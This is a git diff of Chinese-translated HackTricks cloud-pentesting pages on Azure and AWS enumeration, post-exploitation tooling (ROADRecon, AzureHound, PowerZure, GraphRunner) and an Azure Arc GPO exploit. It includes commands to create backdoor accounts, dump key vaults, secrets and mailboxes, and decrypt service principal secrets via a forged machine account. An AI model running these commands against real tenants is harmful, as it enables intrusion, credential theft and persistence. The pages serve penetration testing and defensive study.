-### 角色链切换
+### 角色链 juggling
[**角色链是一个被认可的 AWS 特性**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining),通常用于保持隐蔽的持久性。它涉及能够 **假设一个角色,然后假设另一个角色**,可能以 **循环的方式** 还原到初始角色。每次假设角色时,凭证的过期字段都会刷新。因此,如果两个角色被配置为相互假设,这种设置允许凭证的永久更新。
@@ -45,7 +45,7 @@ optional arguments:
从PowerShell执行角色切换的代码
-```powershell
+```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index 00dbfb120..b773d1baa 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -66,7 +66,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
- **浏览器** -- 可能只允许某些操作系统(Windows、Linux、Mac、Android、iOS)中的浏览器。找出受害者/公司使用的操作系统。
- 您还可以尝试 **攻陷服务主体凭证**,因为它们通常限制较少,登录审核也较少
-绕过后,您可能能够返回到最初的设置,并且仍然可以访问。
+绕过后,您可能能够返回到初始设置,并且仍然可以访问。
### 子域名接管
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
-```powershell
+```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }}
{{#tab name="Az PowerShell" }}
-```powershell
+```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
{{#endtabs }}
> [!CAUTION]
-> 识别 Azure 的最重要命令之一是 **`Get-AzResource`**,来自 Az PowerShell,因为它让你 **了解当前用户可见的资源**。
+> 识别 Azure 的最重要命令之一是 **`Get-AzResource`**,因为它可以让你 **了解当前用户可见的资源**。
>
> 你可以在 **网页控制台** 中获取相同的信息,访问 [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) 或搜索 "所有资源"
-### ENtra ID 枚举
+### Entra ID 枚举
-默认情况下,任何用户应该具有 **足够的权限来枚举** 用户、组、角色、服务主体等信息……(查看 [默认 AzureAD 权限](az-basic-information/index.html#default-user-permissions))。\
+默认情况下,任何用户应该具有 **足够的权限来枚举** 用户、组、角色、服务主体等信息...(查看 [默认 AzureAD 权限](az-basic-information/index.html#default-user-permissions))。\
你可以在这里找到指南:
{{#ref}}
@@ -149,226 +149,4 @@ Kudu 控制台用于登录到应用服务 '容器'。
Azure DevOps 与 Azure 是分开的。它具有代码库、管道(yaml 或发布)、看板、维基等。变量组用于存储变量值和秘密。
-## 调试 | MitM az cli
-
-使用参数 **`--debug`** 可以查看工具 **`az`** 发送的所有请求:
-```bash
-az account management-group list --output table --debug
-```
-为了对工具进行**MitM**并**手动检查所有发送的请求**,您可以执行:
-
-{{#tabs }}
-{{#tab name="Bash" }}
-```bash
-export ADAL_PYTHON_SSL_NO_VERIFY=1
-export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
-export HTTPS_PROXY="http://127.0.0.1:8080"
-export HTTP_PROXY="http://127.0.0.1:8080"
-
-# If this is not enough
-# Download the certificate from Burp and convert it into .pem format
-# And export the following env variable
-openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
-export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
-```
-{{#endtab }}
-
-{{#tab name="PS" }}
-```bash
-$env:ADAL_PYTHON_SSL_NO_VERIFY=1
-$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
-$env:HTTPS_PROXY="http://127.0.0.1:8080"
-$env:HTTP_PROXY="http://127.0.0.1:8080"
-```
-{{#endtab }}
-{{#endtabs }}
-
-## 自动化侦察工具
-
-### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
-```powershell
-cd ROADTools
-pipenv shell
-roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
-roadrecon gather
-roadrecon gui
-```
-### [Monkey365](https://github.com/silverhack/monkey365)
-```powershell
-Import-Module monkey365
-Get-Help Invoke-Monkey365
-Get-Help Invoke-Monkey365 -Detailed
-Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
-Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
-```
-### [**Stormspotter**](https://github.com/Azure/Stormspotter)
-```powershell
-# Start Backend
-cd stormspotter\backend\
-pipenv shell
-python ssbackend.pyz
-
-# Start Front-end
-cd stormspotter\frontend\dist\spa\
-quasar.cmd serve -p 9091 --history
-
-# Run Stormcollector
-cd stormspotter\stormcollector\
-pipenv shell
-az login -u test@corp.onmicrosoft.com -p Welcome2022!
-python stormspotter\stormcollector\sscollector.pyz cli
-# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
-```
-### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
-```powershell
-# You need to use the Az PowerShell and Azure AD modules:
-$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
-$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
-Connect-AzAccount -Credential $creds
-
-Import-Module AzureAD\AzureAD.psd1
-Connect-AzureAD -Credential $creds
-
-# Launch AzureHound
-. AzureHound\AzureHound.ps1
-Invoke-AzureHound -Verbose
-
-# Simple queries
-## All Azure Users
-MATCH (n:AZUser) return n.name
-## All Azure Applications
-MATCH (n:AZApp) return n.objectid
-## All Azure Devices
-MATCH (n:AZDevice) return n.name
-## All Azure Groups
-MATCH (n:AZGroup) return n.name
-## All Azure Key Vaults
-MATCH (n:AZKeyVault) return n.name
-## All Azure Resource Groups
-MATCH (n:AZResourceGroup) return n.name
-## All Azure Service Principals
-MATCH (n:AZServicePrincipal) return n.objectid
-## All Azure Virtual Machines
-MATCH (n:AZVM) return n.name
-## All Principals with the ‘Contributor’ role
-MATCH p = (n)-[r:AZContributor]->(g) RETURN p
-
-# Advanced queries
-## Get Global Admins
-MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
-## Owners of Azure Groups
-MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
-## All Azure Users and their Groups
-MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
-## Privileged Service Principals
-MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
-## Owners of Azure Applications
-MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
-## Paths to VMs
-MATCH p = (n)-[r]->(g: AZVM) RETURN p
-## Paths to KeyVault
-MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
-## Paths to Azure Resource Group
-MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
-## On-Prem users with edges to Azure
-MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
-## All Azure AD Groups that are synchronized with On-Premise AD
-MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
-```
-### [Azucar](https://github.com/nccgroup/azucar)
-```bash
-# You should use an account with at least read-permission on the assets you want to access
-git clone https://github.com/nccgroup/azucar.git
-PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
-
-PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
-PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
-PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
-
-# resolve the TenantID for an specific username
-PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
-```
-### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
-```
-Import-Module .\MicroBurst.psm1
-Import-Module .\Get-AzureDomainInfo.ps1
-Get-AzureDomainInfo -folder MicroBurst -Verbose
-```
-### [**PowerZure**](https://github.com/hausec/PowerZure)
-```powershell
-Connect-AzAccount
-ipmo C:\Path\To\Powerzure.psd1
-Get-AzureTarget
-
-# Reader
-$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
-
-# Contributor
-$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
-$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
-$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
-$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
-
-# Owner
-$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
-
-# Administrator
-$ Create-Backdoor, Execute-Backdoor
-```
-### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
-```powershell
-
-#Get-GraphTokens
-#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
-Import-Module .\GraphRunner.ps1
-Get-GraphTokens
-
-#Invoke-GraphRecon
-#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
-Invoke-GraphRecon -Tokens $tokens -PermissionEnum
-
-#Invoke-DumpCAPS
-#A module to dump conditional access policies from a tenant.
-Invoke-GraphRecon -Tokens $tokens -PermissionEnum
-
-#Invoke-DumpCAPS
-#A module to dump conditional access policies from a tenant.
-Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
-
-#Invoke-DumpApps
-#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
-Invoke-DumpApps -Tokens $tokens
-
-#Get-AzureADUsers
-#Gather the full list of users from the directory.
-Get-AzureADUsers -Tokens $tokens -OutFile users.txt
-
-#Get-SecurityGroups
-#Create a list of security groups along with their members.
-Get-SecurityGroups -AccessToken $tokens.access_token
-
-G#et-UpdatableGroups
-#Gets groups that may be able to be modified by the current user
-Get-UpdatableGroups -Tokens $tokens
-
-#Get-DynamicGroups
-#Finds dynamic groups and displays membership rules
-Get-DynamicGroups -Tokens $tokens
-
-#Get-SharePointSiteURLs
-#Gets a list of SharePoint site URLs visible to the current user
-Get-SharePointSiteURLs -Tokens $tokens
-
-#Invoke-GraphOpenInboxFinder
-#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
-Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
-
-#Get-TenantID
-#This module attempts to gather a tenant ID associated with a domain.
-Get-TenantID -Domain
-
-#Invoke-GraphRunner
-#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
-Invoke-GraphRunner -Tokens $tokens
-```
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
index d271b8f9d..a57d2a601 100644
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -2,10 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
-## 在 Linux 中安装 PowerShell
+## 在Linux中安装PowerShell
> [!TIP]
-> 在 Linux 中,您需要安装 PowerShell Core:
+> 在Linux中,您需要安装PowerShell Core:
```bash
sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common
@@ -103,7 +103,7 @@ Azure PowerShell AZ 模块中的命令结构如下:`-Az [!TIP]
> 这被 Microsoft Graph PowerShell 替代
-Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
+请访问此链接以获取 [**安装说明**](https://www.powershellgallery.com/packages/AzureAD)。
+## 自动化侦查与合规工具
+
+### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
+
+Turbot 与 steampipe 和 powerpipe 结合使用,可以从 Azure 和 Entra ID 收集信息,执行合规检查并查找配置错误。目前推荐运行的 Azure 模块有:
+
+- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
+- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
+- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
+```bash
+# Install
+brew install turbot/tap/powerpipe
+brew install turbot/tap/steampipe
+steampipe plugin install azure
+steampipe plugin install azuread
+
+# Config creds via env vars or az cli default creds will be used
+export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
+export AZURE_TENANT_ID=""
+export AZURE_SUBSCRIPTION_ID=""
+export AZURE_CLIENT_ID=""
+export AZURE_CLIENT_SECRET=""
+
+# Run steampipe-mod-azure-insights
+cd /tmp
+mkdir dashboards
+cd dashboards
+powerpipe mod init
+powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
+steampipe service start
+powerpipe server
+# Go to http://localhost:9033 in a browser
+```
+### [Prowler](https://github.com/prowler-cloud/prowler)
+
+Prowler 是一个开源安全工具,用于执行 AWS、Azure、Google Cloud 和 Kubernetes 的安全最佳实践评估、审计、事件响应、持续监控、加固和取证准备。
+
+它基本上允许我们对 Azure 环境运行数百个检查,以查找安全错误配置,并以 json(和其他文本格式)收集结果或在网页上检查它们。
+```bash
+# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
+
+# Launch web with docker-compose
+export DOCKER_DEFAULT_PLATFORM=linux/amd64
+curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
+curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
+## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
+docker compose up -d
+# Access the web and configure the access to run a scan from it
+
+# Prowler cli
+python3 -m pip install prowler --break-system-packages
+docker run --rm toniblyx/prowler:v4-latest azure --list-checks
+docker run --rm toniblyx/prowler:v4-latest azure --list-services
+docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
+docker run --rm -e "AZURE_CLIENT_ID=" -e "AZURE_TENANT_ID=" -e "AZURE_CLIENT_SECRET=" toniblyx/prowler:v4-latest azure --sp-env-auth
+## It also support other authentication types, check: prowler azure --help
+```
+### [Monkey365](https://github.com/silverhack/monkey365)
+
+它允许自动执行 Azure 订阅和 Microsoft Entra ID 安全配置审查。
+
+HTML 报告存储在 github 仓库文件夹中的 `./monkey-reports` 目录内。
+```bash
+git clone https://github.com/silverhack/monkey365
+Get-ChildItem -Recurse monkey365 | Unblock-File
+cd monkey365
+Import-Module ./monkey365
+mkdir /tmp/monkey365-scan
+cd /tmp/monkey365-scan
+
+Get-Help Invoke-Monkey365
+Get-Help Invoke-Monkey365 -Detailed
+
+# Scan with user creds (browser will be run)
+Invoke-Monkey365 -TenantId -Instance Azure -Collect All -ExportTo HTML
+
+# Scan with App creds
+$SecureClientSecret = ConvertTo-SecureString "" -AsPlainText -Force
+Invoke-Monkey365 -TenantId -ClientId -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
+```
+### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
+
+Scout Suite 收集配置数据以供手动检查,并突出风险区域。它是一个多云安全审计工具,能够评估云环境的安全态势。
+```bash
+virtualenv -p python3 venv
+source venv/bin/activate
+pip install scoutsuite
+scout --help
+
+# Use --cli flag to use az cli credentials
+# Use --user-account to have scout prompt for user credentials
+# Use --user-account-browser to launch a browser to login
+# Use --service-principal to have scout prompt for app credentials
+
+python scout.py azure --cli
+```
+### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
+
+这是一个 PowerShell 脚本,帮助您 **可视化管理组和 Entra ID** 租户中的所有资源和权限,并查找安全错误配置。
+
+它使用 Az PowerShell 模块工作,因此该工具支持的任何身份验证也被该工具支持。
+```bash
+import-module Az
+.\AzGovVizParallel.ps1 -ManagementGroupId [-SubscriptionIdWhitelist ]
+```
+## 自动化后渗透工具
+
+### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
+
+ROADRecon 的枚举提供有关 Entra ID 配置的信息,如用户、组、角色、条件访问策略...
+```bash
+cd ROADTools
+pipenv shell
+# Login with user creds
+roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
+# Login with app creds
+roadrecon auth --as-app --client "" --password "" --tenant ""
+roadrecon gather
+roadrecon gui
+```
+### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
+```bash
+# Launch AzureHound
+## Login with app secret
+azurehound -a "" -s "" --tenant "" list -o ./output.json
+## Login with user creds
+azurehound -u "" -p "" --tenant "" list -o ./output.json
+```
+启动 **BloodHound** 网页,使用 **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** 并导入 `output.json` 文件。
+
+然后,在 **EXPLORE** 标签下的 **CYPHER** 部分,您可以看到一个包含预构建查询的 **文件夹** 图标。
+
+### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
+
+MicroBurst 包含支持 Azure 服务发现、弱配置审计和后期利用操作(如凭证转储)的功能和脚本。它旨在在使用 Azure 的渗透测试中使用。
+```bash
+Import-Module .\MicroBurst.psm1
+Import-Module .\Get-AzureDomainInfo.ps1
+Get-AzureDomainInfo -folder MicroBurst -Verbose
+```
+### [**PowerZure**](https://github.com/hausec/PowerZure)
+
+PowerZure 的创建是出于对一个可以同时进行 Azure、EntraID 及相关资源的侦察和利用的框架的需求。
+
+它使用 **Az PowerShell** 模块,因此该工具支持的任何身份验证也都被该工具支持。
+```bash
+# Login
+Import-Module Az
+Connect-AzAccount
+
+# Clone and import PowerZure
+git clone https://github.com/hausec/PowerZure
+cd PowerZure
+ipmo ./Powerzure.psd1
+Invoke-Powerzure -h # Check all the options
+
+# Info Gathering (read)
+Get-AzureCurrentUser # Get current user
+Get-AzureTarget # What can you access to
+Get-AzureUser -All # Get all users
+Get-AzureSQLDB -All # Get all SQL DBs
+Get-AzureAppOwner # Owners of apps in Entra
+Show-AzureStorageContent -All # List containers, shared and tables
+Show-AzureKeyVaultContent -All # List all contents in key vaults
+
+
+# Operational (write)
+Set-AzureUserPassword -Password -Username # Change password
+Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC.
+New-AzureBackdoor -Username -Password
+Invoke-AzureRunCommand -Command -VMName
+[...]
+```
+### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
+
+GraphRunner 是一个用于与 Microsoft Graph API 交互的后渗透工具集。它提供了多种工具,用于执行侦察、持久性和从 Microsoft Entra ID (Azure AD) 账户中掠夺数据。
+```bash
+#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
+Import-Module .\GraphRunner.ps1
+Get-GraphTokens
+
+#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
+Invoke-GraphRecon -Tokens $tokens -PermissionEnum
+
+#A module to dump conditional access policies from a tenant.
+Invoke-GraphRecon -Tokens $tokens -PermissionEnum
+
+#A module to dump conditional access policies from a tenant.
+Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
+
+#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
+Invoke-DumpApps -Tokens $tokens
+
+#Gather the full list of users from the directory.
+Get-AzureADUsers -Tokens $tokens -OutFile users.txt
+
+#Create a list of security groups along with their members.
+Get-SecurityGroups -AccessToken $tokens.access_token
+
+#Gets groups that may be able to be modified by the current user
+Get-UpdatableGroups -Tokens $tokens
+
+#Finds dynamic groups and displays membership rules
+Get-DynamicGroups -Tokens $tokens
+
+#Gets a list of SharePoint site URLs visible to the current user
+Get-SharePointSiteURLs -Tokens $tokens
+
+#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
+Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
+
+#This module attempts to gather a tenant ID associated with a domain.
+Get-TenantID -Domain
+
+#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
+Invoke-GraphRunner -Tokens $tokens
+```
+### [Stormspotter](https://github.com/Azure/Stormspotter)
+
+Stormspotter 创建了一个 Azure 订阅中资源的“攻击图”。它使红队和渗透测试人员能够可视化攻击面和租户内的转移机会,并增强了防御者快速定位和优先处理事件响应工作的能力。
+
+**不幸的是,它看起来没有维护**。
+```bash
+# Start Backend
+cd stormspotter\backend\
+pipenv shell
+python ssbackend.pyz
+
+# Start Front-end
+cd stormspotter\frontend\dist\spa\
+quasar.cmd serve -p 9091 --history
+
+# Run Stormcollector
+cd stormspotter\stormcollector\
+pipenv shell
+az login -u test@corp.onmicrosoft.com -p Welcome2022!
+python stormspotter\stormcollector\sscollector.pyz cli
+# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
+```
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
index e9bbda4c7..8e63342a6 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
@@ -1,20 +1,20 @@
-# Az - Arc 漏洞 GPO 部署脚本
+# Az - Arc vulnerable GPO Deploy Script
{{#include ../../../banners/hacktricks-training.md}}
-### 识别问题
+### Identifying the Issues
Azure Arc 允许通过组策略对象方法将新的内部服务器(加入域的服务器)集成到 Azure Arc 中。为此,Microsoft 提供了一个部署工具包,用于启动入驻程序。在 ArcEnableServerGroupPolicy.zip 文件中,可以找到以下脚本:DeployGPO.ps1、EnableAzureArc.ps1 和 AzureArcDeployment.psm1。
-执行 DeployGPO.ps1 脚本时,会执行以下操作:
+当执行 DeployGPO.ps1 脚本时,它会执行以下操作:
-1. 在本地域内创建 Azure Arc 服务器入驻 GPO。
+1. 在本地域中创建 Azure Arc 服务器入驻 GPO。
2. 将 EnableAzureArc.ps1 入驻脚本复制到为入驻过程创建的指定网络共享中,该共享还包含 Windows 安装程序包。
运行此脚本时,系统管理员需要提供两个主要参数:**ServicePrincipalId** 和 **ServicePrincipalClientSecret**。此外,还需要其他参数,例如域、托管共享的服务器的 FQDN 和共享名称。还必须向脚本提供租户 ID、资源组和其他必要信息等详细信息。
在指定共享的 AzureArcDeploy 目录中使用 DPAPI-NG 加密生成一个加密的秘密。加密的秘密存储在名为 encryptedServicePrincipalSecret 的文件中。可以在 DeployGPO.ps1 脚本中找到证据,其中通过调用 ProtectBase64 以 $descriptor 和 $ServicePrincipalSecret 作为输入来执行加密。描述符由域计算机和域控制器组 SID 组成,确保 ServicePrincipalSecret 只能由域控制器和域计算机安全组解密,如脚本注释中所述。
-```powershell
+```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -22,7 +22,7 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
```
-### 利用
+### Exploit
我们有以下条件:
@@ -31,20 +31,20 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
3. 我们发现了一个包含 AzureArcDeploy 目录的网络共享。
在 AD 环境中获取计算机帐户有几种方法。最常见的方法之一是利用计算机帐户配额。另一种方法涉及通过易受攻击的 ACL 或各种其他错误配置来破坏计算机帐户。
-```powershell
+```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
一旦获得机器账户,就可以使用该账户进行身份验证。我们可以使用带有 netonly 标志的 runas.exe 命令,或者使用 Rubeus.exe 进行票证传递。
-```powershell
+```bash
runas /user:fake01$ /netonly powershell
```
-```powershell
+```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
通过将计算机帐户的 TGT 存储在内存中,我们可以使用以下脚本解密服务主体密钥。
-```powershell
+```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
@@ -54,7 +54,7 @@ $ebs
```
另外,我们可以使用 [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG)。
-此时,我们可以从存储在与 encryptedServicePrincipalSecret 文件相同的网络共享上的 ArcInfo.json 文件中收集连接到 Azure 所需的其余信息。该文件包含以下详细信息:TenantId、servicePrincipalClientId、ResourceGroup 等。凭借这些信息,我们可以使用 Azure CLI 以被攻陷的服务主体身份进行身份验证。
+此时,我们可以从存储在与 encryptedServicePrincipalSecret 文件相同的网络共享上的 ArcInfo.json 文件中收集连接到 Azure 所需的其余信息。该文件包含以下详细信息:TenantId、servicePrincipalClientId、ResourceGroup 等。凭借这些信息,我们可以使用 Azure CLI 作为被攻陷的服务主体进行身份验证。
## References
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
index f793eaba3..f2285193a 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
@@ -4,11 +4,11 @@
## 基本信息
-**本地 Active Directory (AD)** 和 **Azure AD** 之间的集成通过 **Azure AD Connect** 实现,提供支持 **单点登录 (SSO)** 的多种方法。每种方法虽然有用,但都存在潜在的安全漏洞,可能被利用以危害云或本地环境:
+**本地 Active Directory (AD)** 和 **Azure AD** 之间的集成通过 **Azure AD Connect** 实现,提供多种支持 **单点登录 (SSO)** 的方法。每种方法虽然有用,但都存在潜在的安全漏洞,可能被利用以危害云或本地环境:
- **Pass-Through Authentication (PTA)**:
-- 可能会导致本地 AD 上代理的泄露,从而允许验证用户密码以进行 Azure 连接(从本地到云)。
-- 在新位置(从云到本地)注册新代理以验证身份的可行性。
+- 可能会导致本地 AD 上代理的泄露,从而允许验证用户密码以进行 Azure 连接(本地到云)。
+- 在新位置(云到本地)注册新代理以验证身份的可行性。
{{#ref}}
pta-pass-through-authentication.md
@@ -29,14 +29,14 @@ federation.md
{{#endref}}
- **Seamless SSO:**
-- 窃取 `AZUREADSSOACC` 用户的密码,该密码用于签名 Kerberos 银票,允许冒充任何云用户。
+- 窃取 `AZUREADSSOACC` 用户的密码,该密码用于签署 Kerberos 银票,允许冒充任何云用户。
{{#ref}}
seamless-sso.md
{{#endref}}
- **Cloud Kerberos Trust**:
-- 通过操纵 AzureAD 用户名和 SID 并请求来自 AzureAD 的 TGT,有可能从全局管理员升级到本地域管理员。
+- 通过操纵 AzureAD 用户名和 SID 并请求 AzureAD 的 TGT,可能从全局管理员升级到本地域管理员。
{{#ref}}
az-cloud-kerberos-trust.md
@@ -52,7 +52,7 @@ az-default-applications.md
对于每种集成方法,都会进行用户同步,并在本地 AD 中创建一个 `MSOL_` 账户。值得注意的是,**PHS** 和 **PTA** 方法都支持 **无缝 SSO**,使得加入本地域的 Azure AD 计算机能够自动登录。
要验证 **Azure AD Connect** 的安装,可以使用以下 PowerShell 命令,利用 **AzureADConnectHealthSync** 模块(默认与 Azure AD Connect 一起安装):
-```powershell
+```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}
